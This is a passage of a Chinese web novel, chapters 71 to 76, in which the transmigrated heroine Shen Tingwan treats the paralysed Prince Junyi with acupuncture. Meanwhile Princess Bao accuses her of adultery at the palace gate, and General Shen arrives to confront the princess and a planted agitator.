而现在最稳妥的,就是尽快医治好君翊的伤,让他彻底好起来,这样才能让背后那些人放弃对君翊的杀心。 至少,君翊足够强大,那些人即便想下手,也不会再得逞。 沈听晚心里是这样想的,给君翊医治,不能有一丁点闪失,而且只能成功,不能失败。 败了,那不仅是翊王府,就连沈家她可能也无法保住了。 “好,听你的。” 沈听晚:“现在秋月受伤了,那药我得亲自去熬,等下我再让暗祁多派人手,将这个房间保护起来,务必确保我给你医治这段时间,不能有人打扰。” “嗯。” 见着君翊答应下来,沈听晚才点点头,转身走出房间。 她将门关好,身体靠在门边上,却迟迟没有朝着后厨而去。 君翊方才的话,此时也是让沈听晚的心绪有些不宁。 沈听晚垂下眼去,脸上没有太多的表情,只不过心里头却是一阵阵波澜。 相信君翊吗? 这么长时间,君翊对她可以是一直都是无条件的信任,她说什么话,君翊都不曾有一丝反驳。 第71章 她无法信任一个人 可以说,君翊对她的信任,的确是连沈听晚都没有想到。 但是,今天君翊的话,却让沈听晚有些犯了难。 从小到大,连她最亲近的亲生父母都不值得她去相信,沈听晚早已习惯了独自面对一切,从未想过要将真心交付于他人。 她甚至都忘记了,该如何去信任一个人。 又或者说,在现代的经历,早已经让沈听晚丧失了去信任一个人的能力…… 沈听晚去了厨房,亲自动手熬了一碗准备要给君翊的汤药,便朝着后院走去。 此时,安排好一切的暗祁,见到沈听晚的身影,便立马大步走上去:“王妃,都已经安排妥当,请王妃娘娘看看,是否还有不妥之处。” 今天,不管发生什么,他们都会严加看守这个院子,确保王妃给王爷医治做到万无一失! 而沈听晚看到后院君翊的院子门口,忍不住抽了抽嘴角。 倒也……不必怎么夸张的吧?! 只见此时,整个后院被侍卫们里三层外三层地严密包围,个个手持长枪,目光如炬,严阵以待。 不知道情况的来了,估计都以为王府是不是要有一场恶仗要打似的! “安排的……挺周到的。”沈听晚咽了咽口水,有些僵硬的点点头,随即又严肃的叮嘱道:“今日我给王爷医治这件事,不允许任何人外传,明白吗。” “王妃娘娘放心,这些侍卫都是王府最可靠的,其他下人婆子都让属下调到前院去了,您给王爷医治这件事,很少人知道。” “那就好。”沈听晚微微颔首,不再多言,端着药碗,缓步向房间走去。 在一众侍卫目光的注视下,沈听晚穿过庭院,走进房间。 此时,君翊正安静地躺在床上,一副神情淡然,眉宇间没有半分紧张之色。 沈听晚心里头都忍不住感叹,君翊就是这样一个人,一个不管经历什么,都是一副喜怒不言于色 ,将一切情绪都深藏于心的人。 “王爷,准备好了吗?” 其实这话,沈听晚问的显然有点多余,只因着此时,床上的男人,根本就是一副闲适自得,好像要医治的根本就不是他一般。 “嗯。” “那我就要开始了,先把这碗药喝下去。”沈听晚端着药碗走上前去,然后喂给君翊。 其实,君翊紧不紧张沈听晚不知道,但她心里头还是多少有些紧张的。 这场医治,复杂程度不亚于现代的一场大型手术了。即便是在医疗条件发达的现代,沈听晚也不敢轻易保证百分之百的成功。 更何况,是这医疗条件极其落后的古代啊! “王妃紧张了?” 沈听晚回过神便听到床上的君翊语气温和地说:“不必紧张,也无需有任何心理负担。” 沈听晚忍不住笑了,随即垂下眼去。 君翊脸上略带着一抹疑惑:“你笑什么?” “王爷,自古都是大夫安慰病人的,今天反倒是要你来安慰我,是不是很有趣?” 其实,沈听晚是紧张的,但也仅仅是有一点担心而已,一点都不会影响她接下来对君翊的医治。 两人说笑着,房间内的紧张氛围顿时轻松了不少,沈听晚的心情也平复许多。 沈听晚理了理自己的情绪,脑海中不停的回想着前世师父教给她的火针疗法,慢慢找回来那种施针的感觉。 “好了,我们现在开始吧。” “嗯。”君翊点点头,一动不动的躺在床上。 沈听晚走去外室净了手,确定所有银针和器具都准备好,并且用烈酒灼烧消毒可用了之后,才有回到床边。 她抬起头看了看屋顶和四周的烛火,心里头暗暗庆幸今天的天气不错,加上她事先安排让人保证了,房间里的亮度足够,不然的话,她一个人还真没办法完成那么高难度的针法。 君翊此时面上从容,但心里却还是扑通扑通直跳,这种任人宰割的感觉实在是有些糟糕,但想到经此之后,他便有可能便会好正常人一般无二,心里头又升起了期待的。 他原本是不抱希望的,甚至都已经接受了此生瘫在床上的事实了,可是小姑娘给了他希望,让他也期待了起来。 失望并不可怕,可怕的是有人给了他希望,却又让他绝望,这才是最可怖的 君翊深吸一口气,饶是面上在淡定,一双手也是不由自主的僵硬的攥紧不少。 沈听晚见状,也是淡淡笑笑:“别紧张,放松些。”沈听晚拍了拍君翊有些僵硬的手背。 如果不是看到君翊紧握的双手,沈听晚还真以为,君翊内心毫无波澜,一点都不紧张呢。 君翊嘴角微微动了动:“好。” 此时,沈听晚熬的那碗药似乎起了作用,君翊感觉到自己全身仿佛有一股烈焰燃烧着他每一寸骨头,同时又伴随着如同千万只蚂蚁,正一点点啃食着他的全身,这种感觉叫君翊很不好。 “刚才给我喝得是什么?” 沈听晚:“哦,那是我亲手配制出毁你筋骨的药,会很痛,不过你应该可以坚持住的。 等下我给你施针,将药效催发到极致,可能你会受不了,不过你放心,我等下会封住你感知的脉络,好好睡上一觉吧。” 等君翊醒来过后,约摸着治疗就会结束了。 到时候,究竟是成功还是失败,也会有最终的结果。 说罢,沈听晚拿起事先准备好的银针,捻在指尖,银针纤细,泛着一道寒光,便朝着君翊身上的脉络上扎去。 一时间,君翊浑身的剧痛消失,渐渐的,眼皮子有些发重,最后看了沈婷婉一眼,随即便昏睡了过去…… 见着君翊睡去,沈听晚深吸一口气,她知道,属于她的战场开始了。 她闭上眼,再度睁眼时,眼中归于一片沉静。 捻起一根根银针,沈听晚低下头,全神贯注地朝着君翊的穴脉扎去…… 没有理想的灯光照明,身边也没有任何人辅助,沈听晚只有一个人,却没有一丝慌乱。 一切都在有条不紊的进行着。 第72章 宝郡主闹事 而与此同时,王府的大门外,却突然来了一帮不速之客。 “开门!快把门打开,本郡主要见皇叔!” 此时,宝郡主身着一袭艳红色锦缎长裙,裙摆上金线绣制的凤凰在阳光下熠熠生辉,头戴珍珠步摇,妆容精致却带着几分刻意,一副鼻孔朝天,趾高气昂地站在王府门前。 王府看门小厮,很快有人把宝郡主到王府的事情通传给了暗祁。 暗祁眉头禁蹙:“你说什么!宝郡主这个时候过来做什么?” 看门小厮低下头去,声音微颤:“大人,你还是自己亲自去看一看吧,小的……小的实在是拦不住了!那宝郡主带着一队侍卫来,一言不合就撞门要进来,而且……而且还说了不少诋毁王妃娘娘的话……” 那些话,简直就是不堪入耳,就连他一个小厮都觉得臊得慌。 暗祁脸上更是瞬间紧绷起来,愤怒开口:“这宝郡主何时这么放肆了,敢到王府里面闹事!” 还偏偏选择了今天这么关键的时候! “你去看看,我在这里守着,忘了王妃说过的话,绝不能让宝郡主闯进来打搅王爷和王妃。”暗蒙走上来,面上严畯的道。 “好!我过去看看。”暗祁也点点头,随即大步吵着大门的方向走去。 刚走到大门口,还没等将门打开,暗祁便听到了门外传来宝郡主尖锐的娇喝伴随着侍卫粗暴砸门的声音:“沈听晚那个水性杨花的贱人,你不知廉耻,在外头偷人!你们快让本郡主进去,本郡主要见皇叔!” “本郡主要揭发那个贱人和男人在外头私会,皇叔不应该被那个贱人蒙骗!” 暗祁停下脚步,驻足原地不前,眼底更是满目火光。 说他们王妃水性杨花? 他们王妃什么时候水性杨花了! 这脏水泼的,就连暗祁心里都觉得可笑。 和王妃娘娘相处这么长时间,整个王府对王妃都挑不出半点毛病来,这么好的王妃娘娘,竟然还有人会诋毁她! 暗祁瞬间怒了,快步上前,将大门打开。 门外的侍卫此时还在撞着门,竟然没想到里头竟然有人突然把门打开,一个身形不稳,险些没摔进王府。 缓过神来,再抬眼,便见着暗祁一脸面无表情的挡住了大门,眼神幽幽地盯着门外那一抹刺眼的红,冷声开口:“宝郡主慎言,休要诋毁王妃娘娘的名声!” “诋毁?”宝郡主讽刺地一笑,随即语调又拔高了几分,声音尖利得几乎刺破众人耳膜:“沈听晚那个贱人私下会见外男,本郡主的人看得真真的,她就是水性杨花,她已经嫁给了皇叔,心里头却还是个不安分的,今天我就要当着所有人的面,叫大家都知道知道沈听晚是一个什么样的糟烂玩意儿!” 宝郡主的声音之大,瞬间吸引来了不少看客,将王府大门围的是水泄不通。 更甚者还有人不知道从哪儿抓来了一拿毛嗑,一脸兴致饶饶的嗑了起来。 王妃私会外男? 这可是京城之中不小的热闹了。 如果那个翊王妃真的如宝郡主所言的那样,不堪寂寞,私通别的男人,那可是要被浸猪笼的啊。 “咱们京城都多少年没见过浸猪笼了呀,这下子好了,估计要不了多久就能看热闹啦!” “是啊,这位可是宝郡主,她说话肯定不会有假,我看啊,那个翊王妃肯定好别人有事儿!” “可不是嘛,这天底下谁人不知王爷现在是个瘫子,谁能受得了啊,要我看,王妃肯定是嫁进来之后,发现王爷那方面不行,又忍不住,这才会出去偷人的!”一个妇人一脸鄙夷地说道,语气中满是不屑与嫌恶。 …… 一时之间,王府外传来看客们小声的议论,满眼尽是看热闹的打量着暗祁。 “都给我住口!”暗祁也彻底的恼了,怒瞪着众人,厉声呵斥道。 一时间,围在王府外的人瞬间被吓得噤声,还不由地向后退了两步。 暗祁满目阴沉,目光如刀般扫过众人:“宝郡主!你说王妃与外男私会,可有证据?若无证据,那王府可是要请大理寺少卿前来,状告宝郡主诬陷王妃的!” “哼!亏你还说得出来,请大理寺少卿?谁不知道大理寺少卿是那个贱人的兄长啊,到时候还不是他们蛇鼠一窝,相互包庇纵容!”宝郡主冷声开口,满眼尽是讽刺之色。 “那宝郡主究竟想要怎样?”暗祁强压怒火,声音阴沉的说。 宝郡主勾了勾唇角,眼底闪过一丝阴冷:“要么放本郡主进去,本郡主自会当着皇叔的面,揭露那个贱人,要么,那个贱人出来与本郡主对峙,就怕那个贱人不敢呢!” 暗祁听见这话,面色瞬间一紧。 王妃娘娘这个时候正在给王爷医治,怎么可能出的来与宝郡主对质? 当然也不能让宝郡主进了门,跑去打扰了王妃和王爷。 可若是任由着宝郡主这样闹下去,假的也会被说成是真的了啊。 到时候众口铄金,他们王妃娘娘的名声,可就真的毁在了宝郡主的手里了啊! 一时之间,暗祁陷入了两难。 他深吸一口气,冷声开口:“王爷和王妃现在不便见郡主,至于郡主所言,王府自会调查清楚,王府之事,便不劳烦郡主操心了!” “你们是不敢吧!本郡主看,你们定是被那个贱人收买了去,可怜我那皇叔,还被蒙在鼓里,本郡主断不会眼睁睁看着皇叔被你们这帮宵小之徒算计!” “我等是王府的人,若真的那么容易被人收买,岂不是说王爷识人不清?”暗祁冷笑一声。 他们可都是从小就跟在王爷身边的,对王爷是誓死忠心。 暗祁也是没有想到,竟然会有一天,有人会说他们是被人收买了! “别说那些没用的,赶紧叫那个贱人出来!她今天要是不敢露头,本郡主就不走了!” “郡主,我也说了,王妃不便见客,若是郡主再在王府闹事,休怪王府的人下手没个轻重,再伤了郡主!”暗祁语气中,透着一股杀气。 第73章 去请兄长来帮忙 他是真的怒了。 王妃娘娘正在给王爷医治,这个时候宝郡主赶过来闹事。 他可不觉得,此事会是一个巧合! 更何况,王府的侍卫,可不是泥人做的,他们更是不会隐忍有人敢这么污蔑王妃娘娘! “你们敢对本郡主动手?”宝郡主冷嗤一声:“好啊,本郡主就在这儿,我倒是要看看你们究竟敢不敢?” 伤害当朝郡主,那可是重罪,她就不相信,王府里头的人,这么忠心,为了维护那个贱人,连自己的命都不要了! 此事,院内。 暗蒙得到门外传来的消息,更是急的满头大汗。 “大人,祁大人在外面怕是要顶不住了,咱们王府门口更是围了不少百姓,王妃娘娘若是这个时候不出去,怕是要不了多久,全京城的人都会唾弃王妃啊。” 最好的办法就是沈听晚出去,与宝郡主当面对质,才能有可能挽回沈听晚的声誉。 暗蒙眉头紧蹙,转头看了一眼院内的房门紧闭,里头没有半点声音传出来。 他犹豫了一下,随后还是抬脚走到房间门口,声音极小却带着一丝焦急:“王妃娘娘,您还需要多久?” 屋内,专心给君翊施针的沈听晚被门外的声音打断,脸上瞬间升起一抹不满之色,冷声开口:“发生了何事?” 暗蒙顿了顿:“王妃娘娘,宝郡主来了,如今就在门外。” 沈听晚眉头紧蹙:“她来做什么? 告诉她,今日王府不见客,叫她走。” 暗蒙苦笑一声:“宝郡主是来捉奸的……” “什么?!” 捉奸? 王府里有哪门子的奸可捉? 暗蒙王府门外发生的事,一五一十的和沈听晚说了一番,最后,又忍不住为难地道:“王妃娘娘,暗祁在外面守着,怕是守不住多长时间,属下是担心,对啊,任凭宝郡主诬陷,恐怕对王妃声誉有损啊。” “哼,她来的还真是时候!”沈听晚冷笑一声:“去告诉暗祁,把门关了,外头高宝儿爱怎么喊怎么喊,就是不能放她进来! 还有传我的命令,他们若是敢强行进门,格杀勿论!” “可是王妃娘娘,您的声誉……” “那玩意儿我从来不在乎。”沈听晚寒着一张脸冷声地道。 声誉是什么东西? 不能吃,不能当银子花的。 不管外头人怎么说沈听晚,她都不在乎,只要她身边最亲近自己的人相信她,就足够了。 她现在最关心的,就是有君翊。 这场医治,至关重要,绝不能有半点闪失。 “是!”有了沈听晚的话,暗蒙的眼底光亮闪了闪,心里更为感动。 他们王妃娘娘是因为王爷,所以连自己的声明都可以抛之脑后啊。 这样的好王妃,简直是打着灯笼都找不到。 “等会。” 房间里又传来沈听晚的声音。 “王妃娘娘请吩咐。” 沈听晚停顿了一下手上的动作,脸上隐隐带着一抹担心:“高宝儿带了多少人过来?” “带了不少,差不多有三四十侍卫,不过王妃娘娘放心,属下等就算是拼死,也绝不会放宝郡主进门!” 沈听晚深吸一口气,眼中迸发出一抹寒光。 这么多人? 看来宝郡主还真是下了血本! 如今王府里的侍卫都守在内院,外头肯定人手不足,要是真的严防死守下去,恐怕王府里头的侍卫会吃亏啊! 想到这儿,沈听晚又开口:“你去派人到将军府找我大哥,就说宝郡主在王府闹事,告诉他们我抽不开身应对,请他过来帮忙,记着,在我没出去之前,局势给我稳住了,他们说什么都不要紧,但务必确保王府内没人闯进来。” 她的兄长再怎么说也是大理寺少卿,维护京城治安,也实属分内之事,算不上公报私用 现在这个时候,沈听晚必须要确保一切都没有闪失,也管不了那么多了,什么事情也不能影响了她给君翊医治! 暗蒙领了命下去,沈听晚这才放心下来,继续给君翊施针。 目前已经到了最关键的地步,接下来,就不能让沈听晚又半点的分神,一着不慎,那便是满盘皆输,前功尽弃! 沈听晚微闭上眼,缓和了一瞬,在睁开眼来,眸中再次恢复冷静。 “继续。”沈听晚吐了口浊气,额头上的汗珠冒出来后,她也是抬手随意一擦,便又继续开始施针。 …… 大门外。 有了王妃的命令,暗祁也松了口气,此时他严阵以待,将腰间的佩剑抽出,直指向众人,随即高声一喝:“今日谁若敢踏进王府半步,杀!” “暗祁,你竟然敢如此对本郡主!”宝郡主面露惊恐,不敢置信地怒喝道。 她知道,眼前这人是七皇叔身边最亲近的侍卫,他们的话更是雷厉风行,可即便是这样,从前她来到王府,这两人也是恭恭敬敬的将她请进去。 可是今天,暗祁竟然敢拔剑对向她?! 宝郡主脸上瞬间怒气横生,她死死地咬着牙,眼底眼神阴郁与恨意。 都是因为那个贱人。 自打贱人嫁给皇叔,她想要来见一见皇叔,都是处处受阻! 这更加让宝郡主心里起了非杀沈听晚不可的决心。 这个贱女人不死,她永远没有嫁进王府的希望! 此时,宝郡主双眼微眯,眼中闪过一丝狠决的杀意,她冷声地说:“就凭你们,也能拦得住本郡主!给我上!” 今天,她无论如何也要见到皇叔的面! 她要把沈听晚赶出王府,她要让所有人唾弃那个贱人,要让那个贱人知道,敢抢她的人,那就只有死! 这时,暗祁也面带冷意,手中紧握长剑,时刻准备着要打干上一场。 心中就只有一个念头,哪怕是今天死在这儿,也绝不能让这帮人打扰了王爷王妃! 就在这时,不远处突然间传来一阵剧烈的声响。 “宝郡主真是好大的阵仗啊,这时觉得我将军府无人了吗?” 未见其身,便听到众人身后传来一道淬着愤怒的怒喝。 一众人纷纷转头看过去。 便见着沈将军身穿一袭铠甲,手握长枪坐于马上:“今日谁敢闯入王府,就看本将军手上的枪同不同意!” 沈听晚的父亲不愧是铁血沙场的将军,策马上前,一声大喝,原本还乱糟糟的王府大门外,顷刻间立马安静了下来。 第74章 沈将军辞官,京城必乱啊 “沈将军!”暗祁地脸上满是喜色。 同时也狠狠地松了口气。 有了沈将军在,那宝郡主这一行人,就更进不去王府了! 暗蒙也在沈将军身后匆匆赶来。 他听从沈听晚的命,去将军府找沈家大公子,声响,刚走到门外就碰到了沈将军。 沈将军也是个聪明的,知道王府里的人,不可能平白无故上门,便问了情况。 一听说宝郡主在王府外大骂自己的女儿,那气的恨不得调集兵马,把一众人给全歼了! 知道自己女儿在给王爷医治,一时抽不开身,便立马进了府,穿上先帝御赐的铠甲,带着府兵,便一路浩浩荡荡地赶到了王府大门口。 谁能想到,刚一到翊王府的大门口,便看到宝郡主带着这一群人在门口叫嚣,还要上前砸门。 实在是太狂妄了! 这是真觉得翊王受伤,王府没人能护得了自己女儿了吗? 哼,王府护不了,他们将军府可不是吃素的! 宝郡主也是没想到,沈将军竟然带着府兵亲自来到王府,心下有些慌乱,不过很快,面色又恢复如常。 将军府的女儿,做出那种见不得人的勾当,就算沈将军亲自前来又如何呢,还不是要来收拾她女儿惹下的烂摊子! 一想到她的人亲眼看到沈听晚和别的男人在街上亲密,宝郡主也瞬间不怕了,她微微仰起头来,脸上满是讽刺与不屑。 此时,沈将军骑着高头大马,身穿铠甲,穿过人群,周边的百姓见这沈将军满脸阴沉,浑身透着一股拒人于千里之外的威严,也不禁主动给他让出一条道出来。 “沈将军,这里是京城,不是军营,你带着这么多人上街,是想要造反吗!”宝郡主挡在沈将军的马前,冷冷开口。 沈将军微垂眸睨了一眼:“这话本将军倒是想要问问长公主,宝郡主带着侍卫在王府闹事,长公主殿下可曾知晓?”沈将军的语气中透着一股寒意,更似有警告的意味。 宝郡主地身子不由得一僵,她这次过来,母亲的确是不知道的…… 她也没想到事情会闹得这么大,只想着上门来找沈听晚那个贱人来兴师问罪了,哪成想这沈将军会亲自到王府护他女儿呢! “沈将军少威胁本郡主,我是郡主,这街上哪里是本郡主去不得的! 更何况,本郡主今日是来给皇叔请安的,这些人,”宝郡主愤怒的抬手指向王府大门口的侍卫:“这些人是在胆大妄为,竟然将本郡主拦在门外,此事就算闹到我母亲面前,本郡主也是在理的!”宝郡主说话的声音扬高几分,壮着胆子说到。 “郡主自己做了什么别以为别人都不知道,宝郡主,你说我女儿与外男私会,可有何证据,我女儿又与谁私会?”沈将军眯着眼,眸中闪过一抹危险:“今日宝郡主若是说不出的所以然,那本将军便是要进宫求见陛下,为我女儿讨一个公道!” 沈将军心里更是气急,这宝郡主上嘴唇一碰下嘴唇,张口闭口说他女儿私会外男,这架势恨不得弄得全京城人尽皆知似的 。 此事若不能妥善解决,那他女儿的名声还要不要了! 这宝郡主实在是欺人太甚! “好啊,那本郡主要是说出个证据,沈听晚她确实与外男私通,沈将军又当如何?” 沈将军沉下脸,目光定定地紧盯着宝郡主,片刻冷声地说:“若我女儿确实如郡主所言,本将军今日便将她带走,亲自进宫想陛下求来一纸休书,今后再无翊王妃! 本将军也自请辞官,带女儿回乡自省过错!” 这婚原本是皇帝赐婚,只不过阴差阳错自己女儿嫁给了翊王,所以即便要休书,那也是得进宫请旨陛下的。 此话一出,在场众人又是一阵哗然。 沈将军说亲自进宫给自己女儿求休书也就罢了,但后面怎么还带着一句辞官啊?! 谁不知道沈将军现如今手握重兵,从前有翊王带兵出征,番外那些宵小不敢轻易造次,如今翊王倒了,只有沈将军一人强撑着,才不至于叫东陵大乱。 如果连沈将军都辞官了,那……那谁还能护住他们这些百姓啊…… “沈将军,万万不可啊!” “您若是辞官回乡,定会使得宵小之国萌生造次,天要亡东陵啊!” “沈将军辞官,东陵必乱啊!” 人群中不知道谁喊出这一句话来,紧接着在场所有原本看热闹的百姓都纷纷跪地,扬声附和道。 沈将军眉头紧蹙,眼中闪过一丝阴沉之色。 他抬眼,冰冷的目光朝着方才出声的方向看过去,便见着一个身穿青色长衫的年轻小伙子也在看着自己。 两人的目光在空气中交织,年轻男子见状眼底闪过一丝慌张之色,趁着百姓人群中大乱,便准备抬脚作势要走。 “把那个人给本将军抓了!”沈将军立马养生开口,语气中透着一股杀气。 什么沈将军辞官,东陵必乱? 看似是追捧,实则却是捧杀! 看来今日可不光是宝郡主到王府闹事怎么简单啊,这背后竟还有人下得一手好棋! 那个年轻男子很快便被人抓住,两个府兵一左一右押着他的两条手臂,快步来到沈将军的马前。 沈将军微微俯下身子,一双历经沙场的狠厉双眸就那样看着他:“说,这些话是谁教你的?” 年轻男子眼底闪过一丝慌乱:“没……没有人教啊,草民说的是事实,沈将军,您万万不能辞官啊,您若是辞官,谁还能护住东陵啊!” “住口!”沈将军在马上,抬脚便狠狠踹向年轻男子的胸口。 因着他被府兵押着,浑身动弹不得,便只能生生地接下沈将军的这一脚。 瞬间。 “噗!”一声,年轻男子口中猛地吐出一口献血,整个人的面色也变得惨白几分。 这几脚,沈将军是用了力气的。 他微眯起双眼,目光注视着年轻男子,心中冷嗤。 他果然猜的不错,眼前这人,倒还是一个练家子呢! 第75章 跪下磕三个头认错 若是手无缚鸡之力的寻常人,他这一脚踹下去,不晕过去也得双脚无力跪倒在地了。 可是这个年轻男子却不过是吐了口血,看似伤的严重,但他下盘却站的十分稳当,半点没有要倒下去的意思。 这事儿,看上去似乎变得有趣了呢! “再不说实话,本将军现在就要了你的命! 说!是谁让你在这里擅动百姓,说出那些大逆不道之言的?” 这话,如果传入皇宫里到皇帝的耳中,沈家会面临什么,不用多说。 皇帝现如今本就对沈家对他这个将军心生忌惮,若这个时候,京城里传遍这些言论,岂不是更让皇帝有理由治沈家的罪了! 沈将军心里沉思着,究竟是皇帝还是其他什么人呢? “将军……草民……草民说的句句发自肺腑啊,您是大将军,手握重兵,那也不能在街头行凶啊,草民冤枉啊!” 只见年轻男子口中不断吐着鲜血,但话说的却是中气十足,可半点不像刚刚承受了一个大将军一脚的样子! “好啊,那本将军就让你看看,我到底是怎么在街头当众行凶的!” “将军,万万不可啊……” 一旁沈将军的亲卫忙开口出声劝道,可是却晚了一步,只见沈将军抬手变抽出别在腰间的佩剑,闪着寒光的长剑也早已经朝着那年轻男子的脖颈处挥了过去。 沈将军本身就是武将,浑身一股子杀气,这么一拔剑,身上那个喋血沙场的威严之气更加骇人了。 众人都被吓了一跳,不少胆小的百姓都忍不住低下头去闭紧的双眼,就连宝郡主都被吓得面容失色,年向后退去几步,却不想被石头绊住了脚,向后摔了个人仰马翻。 离那年轻男子比较近的几个人,也连忙抬脚向后退了两步,生怕等下那血会染上他们的身。 就在这迅雷不及掩耳之际,那年轻男子突然间面上发了狠,一个内力用力震开府兵,随后向后退去一步,下一瞬,只见他轻功一跃,飞上屋顶便要逃开。 他也是没想到,这沈家将军竟然动真格的。 竟然真的敢当街杀人啊。 再不跑,他的这条小命可就真的要葬送在这街头了! 完不完的成任务是一码事,他现在小命都快丢了,哪里还能记得他此番前来的目的。 在年轻男子逃离之际,众人才缓过神来,同时也狠狠的松了口气。 沈将军的亲卫见状也是不禁严肃起来,警惕开口:“将军,那个人竟然会武功。” 看来此事,没那么简单了! 沈将军冷哼一声,随即淡定的将剑收回剑鞘中,淡淡开口:“早就看出来了。” “你去,亲自把他给我抓回来,本将军要亲自审!” “是!”亲卫立马开口应下,随即抬手扬起鞭子,重重抽打在马背上,马儿一个吃痛,抬脚便朝着那年轻男子逃走的方向飞奔而去。 这时,王府门口的百姓才回过神来,宝郡主惊魂未定,抬手怒指:“沈将军,你……你太放肆了!我…!本郡主要进宫告你!” 当街行凶,哪怕是手握重兵的将军,也会受到严厉的责罚。 一个念头在宝郡主的脑袋中一闪而过。 是啊。 一个功高震主的武将下场都不会好到哪里去的。 只要沈家彻底的倒了,那沈听晚也就彻底没了靠山。 到时候,谁还能为她撑腰啊? 宝郡主心里越想,越觉得可行,只要沈家没了,那一个小小的沈听晚,她还能斗不过? 到时候,她想要让沈听晚死,岂不是比捏死一只蚂蚁还要简单! “宝郡主,本将军现在有理由那人是你派来当众挑唆百姓,治本将军于不义之地的死侍。” “你!你胡说八道什么?本郡主压根就不认识那个贱民!”宝郡主眉头紧蹙,厉声开口。 什么死侍? 若人真的是他找来的,不泼沈家的脏水就不错了,哪里会让人说沈家的好话? 见着宝郡主那满脸底气的架势,便叫沈将军知道,那人并不是和宝郡主一伙儿的。 “认不认识,只待本将军把人抓住,一审便知了,不过现在,是不是应该说说,我们之前的赌注了?” “那沈将军可要想好了,倘若本郡主当真拿出来证据,你真能辞官,让翊王休了沈听晚?” “当真,但若是宝郡主的证据虚假,当街诬陷我女儿,又当如何呢?” “哼,若是本郡主诬陷她,那我就当街下跪,向她嗑三个响头,并且说三遍我错了!” “好!”沈将军的嗓音洪亮:“在场的人都为人证,到时候宝郡主可别说本将军欺负一个小辈!” “哼,我乃长公主府郡主,自然是一言九鼎!”宝郡主是铁了心的,虽然这赌注下的确实是有点狠了些,但舍不得孩子套不着狼的道理她还是懂得。 只要这场她赢了,那沈听晚就得从王府滚蛋,这才是她此番前来真正的目的。 更何况,她手上的确是有证据在的,可不担心这场赌注她会输! “那就请宝郡主拿出你所谓的证据吧,我女儿在外私会了谁,何人为证?” 宝郡主脸上洋溢着一抹自信,转头指了指身后一个婢女:“你来说,那天你究竟看到了什么?” 很快,便见一个小婢女上前,低着头声音却很清脆的开口:“回郡主的话,三天前您派奴婢去百草堂买一些安神的汤药,奴婢就是在那儿碰见的翊王妃。” 沈将军冷声质问:“我女儿去买药,有何不可?” “将军,急什么,让本郡主那婢女把话说完也不迟啊。”宝郡主语气轻佻着开口。 “你继续说下去!” “刚开始,翊王妃头上戴着面纱,奴婢并不知道那人就是翊王妃,只是觉得她不像寻常百姓的装扮,心里疑惑罢了,却并没有放在心上。 只是奴婢买了药之后,便看到翊王妃正同一个男子站在一起,而且还有说有笑的,正碰巧一阵风吹去了翊王妃脸上的面纱,奴婢这才确定,她就是翊王妃。” 第76章 他女儿遭遇行刺? “哼,堂堂一介王妃,出门买药也就罢了,为何还没有胆量以面示人,本郡主看,她买药是假,借着这个由头去私会外男才是真的吧!” 宝郡主满眼讽刺的调侃道,从沈听晚嫁进翊王府的那一日起,她就找人暗中看着她了。 这么长时间,也不枉她一直派人守着翊王府,还真让她找到了沈听晚的把柄。 沈听晚干了这种不要脸面的事儿,就算沈家拼尽全力维护,怕也是于事无补了吧。 果然,在沈将军听了宝郡主这话之后,脸色也变得极为难看,他冷脸看过去,语气间满是怒气:“不过是在街头说了几句话,也能被当成证据,真是可笑!” 如果这都能当做证据的话,那前天下的男女都不要出门的好了。 出门就难免碰面,若是遇到熟悉的人,岂不是连话都不能说上几句了。 “街头说话当然不能成为证据,但若沈听晚和那个男人有了亲密接触呢?”宝郡主嘴角勾起一抹不屑的笑:“海棠,你继续说。” “是。” 婢女点头应下,又缓声开口:“当时翊王妃娘娘在街头与男子谈笑间,有人要对王妃不利,那男子一把就拉过了王妃的手,奴婢是看的真真儿的,当时奴婢还心里头疑惑着,王妃娘娘在街上遇刺,怎么王府不见有人保护,却叫一个男人得了先机呢……” “什么?!晚晚街头遇刺!”沈将军满眼不敢置信。 这是什么时候的事? 他怎么一点都没听说? “沈将军放心,沈听晚没事,要么说那个人出现的也是够及时的呢,如果不是从前就相识颇深的话,怎么可能这么凑巧,街头那么多人遇险,偏偏他只救沈听晚呢。” “就是啊,宝郡主说的也在理,这沈家姑娘身为翊王妃,难道不懂得男女大防吗?” “都遇刺了,还在街上有说有笑呢,要我看,估计是这两人自导自演的一场戏,就是为了让人察觉不到他们私会呢吧。” …… 百姓中的议论声渐起,沈将军的脸色越发阴沉起来。 “你们胡说八道什么,那日王妃去买买药,确实遇到的刺客行刺,世子不过是碰巧撞见,救下王妃而已,宝郡主这样断章取义,颠倒是非黑白,未免太过分了!”暗祁一双眼满是火光,也是被气狠了,怒声说道。 沈将军眉头一动。 世子? 是那个衡亲王世子救了他女儿? 此时,沈将军满脑子都想着自己女儿在街头被刺的事情,早已经将什么私会不私会的抛到了脑后。 在这京城,青天白日,朗朗乾坤,又有人敢把主意打到他女儿的身上了,而他却一点消息都没听说,要不是今天来给自己女儿出头,他恐怕现在都被蒙在鼓里呢! “哦?”宝郡主轻轻挑眉:“原来连你也知道那个贱人究竟是和谁在外私会的啊,这么说,就是有皇叔一人被蒙在鼓里了!” “暗祁,你还不承认,你是被那个贱人给收买了吗?” 暗祁的脸被憋的通红,他就从来没见过,像宝郡主这般颠倒是非黑白的人。 而此时,宝郡主又继续自顾自的开口:“以本郡主看,这对奸夫淫妇实在是太过胆大妄为,沈听晚身为翊王妃水性杨花,朝三暮四实在不配为翊王妃。 还有那个宇世子!竟然敢觊觎皇婶,也是该死!” “郡主是在说我吗?” 宝郡主的话音刚落,翊王府的门口便突然间传开一道女子清冷的声音,传入众人的耳中。 众人纷纷被那道声音所吸引去了目光,便见沈听晚迈着从容的脚步,眼底略带着一丝冰冷,表情似笑非笑。 她刚刚从房间里出来,还没走到大门口,便听到了这高宝儿的话。 三句话中两句话都不离她私会外男,说她水性杨花的话。 笑话。 有多久都没人敢这么往她身上泼脏水了。 前世,那些想要冤枉她的人,可都被她送下了黄泉,看来宝郡主这是也想尝尝,下地狱的滋味呢! “沈听晚,你终于敢出来了,本郡主还以为你要一直躲在王府里头当一个缩头乌龟呢!”宝郡主见到沈听晚的身影出现,神情先是一愣,随即又冷笑着出声。 沈听晚似笑非笑的睨着宝郡主,语调不紧不慢的道:“宝郡主,你说喜欢自己翊王殿下就喜欢翊王殿下,侄女爱上自己的皇叔,也不算稀罕事,怎么偏偏地非要扯上本王妃呢?” 说她水性杨花和别人私会,这后果可是很严重的。 轻者被夫家嫌弃,丢下一纸休书和离,严重的话都容易被浸猪笼啊。 沈听晚心里头寻思着,这宝郡主究竟是多么想治她于死地? 